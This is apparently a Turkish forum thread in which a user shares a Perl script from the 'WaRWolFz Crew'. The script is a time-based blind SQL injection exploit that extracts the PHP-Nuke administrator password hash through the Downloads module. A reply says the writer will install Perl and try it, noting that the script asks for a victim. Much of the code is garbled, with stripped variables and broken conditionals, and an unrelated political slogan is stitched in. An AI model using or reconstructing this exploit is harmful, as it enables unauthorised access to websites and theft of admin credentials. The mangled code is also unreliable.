default downloads modülünün az ekmeğinin yememeiştim 2005 yılında hala aynı terene mevcut nukede sürüm üstüne sürümler çıkarttılar bir ara hafta bir sürüm çıkartmaya kadar gitiler ama hala açık hala açık bunların amacı açık kapatmak değil resmen duyuru ve reklam exploiti paylaşayım #!/usr/bin/perl # PHP-Nuke <= 8.1.0.3.5b Remote Blind SQL Injection # Date: 2010.07.04 after 50 days the bug was discovered. # Author/s: Dante90, WaRWolFz Crew # Crew Members: 4lasthor, Andryxxx, Cod3, Gho5t, HeRtZ, N. o.3. X, RingZero, s3rg3770, # Shades Master, V1R5, yeat # Special Greetings To: The:Paradox # Greetings To: Shotokan-The Hacker, _mRkZ_, h473 # Web Site: www.warwolfz.org # My Wagend (Dante90): dante90wwz. altervista. org # # Why have I decided to publish this? # Because some nice guys (Dr.0rYX and Cr3w-DZ) have ripped and published # my own exploit, with their names. # FU ING LAMERS / RIPPERS / SCRIPT KIDDIE # use strict; use warnings; use LWP::UserAgent; use HTTP::Cookies; use HTTP::Headers; use Time::HiRes; my $Victime = shift or &usage; my $Hash = ""; my ; my ; my @chars = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102); my $HostName = "http://www. victime_site. org/path/"; #Insert Victime Web Site Link my $Method = HTTP::Request->new ; my $Cookies = new HTTP::Cookies; my $UserAgent = new LWP::UserAgent( agent => 'Mozilla/5.0', max_redirect => 0, cookie_jar => $Cookies, default_headers => HTTP::Headers->new, ) or die $!; my $WaRWolFz = "http://www.warwolfz.org/"; my $DefaultTime = request ; my $Post; sub Blind_SQL_Jnjection { my = @_; return "http://www.warwolfz.org/' UNION/ /SELECT IF(SUBSTRING(pwd,$ ,1)=CHAR , benchmark(250000000, CHAR(0)),0) FROM nuke_authors WHERE aid='$ "; } for(my $I=1; $I<=32; $I++){ #N Hash characters for(my $J=0; $J<=15; $J++){ #0 -> F $Post = Blind_SQL_Jnjection ; $Time = request ; sleep(3); refresh ; if ($Time > 4) { $Time = request ; refresh ; if ($Time > 4) } } if($I 1 && length $Hash < 1 && !$Hash) if($I 32) } sub request{ $Post = $_ ; $Start = Time::HiRes::time ; my $Response = $UserAgent->post($HostName.'modules. php?name=Downloads&d_op=Add', , Referer => $HostName.'modules. php?name=Downloads&d_op=Add'); $Response->is_success or die "$HostName : ", $Response->message, "\n"; $End = Time::HiRes::time ; $Time = $End - $Start; return $Time; } sub usage { system ; ; exit; } sub refresh { system ; ; print " Victime Site: " . $_ . "\n"; print " Default Time: " . $_ . " seconds\n"; print " BruteForcing Hash: " . chr($_ ) . "\n"; print " BruteForcing N Char Hash: " . $_ . "\n"; print " SQL Time: " . $_ . " seconds\n"; print " Hash: " . $_ . "\n"; } #WaRWolFz Crew Emekçiler ekmeklerini, emeklerinin karşılığı olarak ve nlenemez tarihi sürecin sonucu olarak mutlaka kazanacaklardır. Şüphesiz bu, zorlu bir dnemdir kısa vadeli ve greceli yenilgilerden geçer.

windows'a perl yüklüyorum bakalım deniycem saol eyw. input'dan victime değişkeni istiyor bu kurbanın ID'siymiş..